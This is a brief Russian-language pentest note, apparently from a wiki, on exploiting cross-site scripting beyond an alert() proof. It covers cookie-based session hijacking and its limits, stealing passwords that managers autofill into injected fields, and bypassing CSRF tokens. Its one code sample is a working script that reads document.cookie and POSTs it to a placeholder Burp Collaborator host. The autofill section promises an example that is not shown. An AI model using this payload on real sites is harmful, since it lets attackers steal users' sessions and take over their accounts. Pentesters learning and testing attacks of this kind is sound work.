Exploiting XSS

Обычно делают нагрузку alert(document.domain) и этого достаточно, чтобы показать — "да, мы можем выполнять код в контексте JavaScript". Ниже примеры, как еще можем эксплуатировать эту уязвимость:

Кража сессии (куки)

Можем отправлять куки пользователей на свой домен и выполнить hijack. Конечно, есть ограничения:

  • Пользователь может быть неавторизован

  • Установлен HttpOnly

  • Сессия может быть привязана к еще одному фактору (например, IP-адрес)

  • Время жизни сессии может быть невелика

Пример — Simple POST-request with cookies:

<script>
let data = {
    "cc": document.cookie
};
fetch("https://<YOU-COLLABORATOR>.burpcollaborator.net/", {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    redirect: 'follow',
    body: JSON.stringify(data)
});
</script>

Кража паролей из форм автозаполнения

Конечно, если пользователь использует менеджеры паролей

Например, создаем блоки ввода как у оригинальной формы авторизации и менеджер паролей сам подставит туда значения:

CSRF

Если мы можем исполнить JS, то мы можем сделать почти все, что и обычный пользователь. CSRF-токены от CSRF-атаки не спасут, если есть XSS на странице.

Last updated

Was this helpful?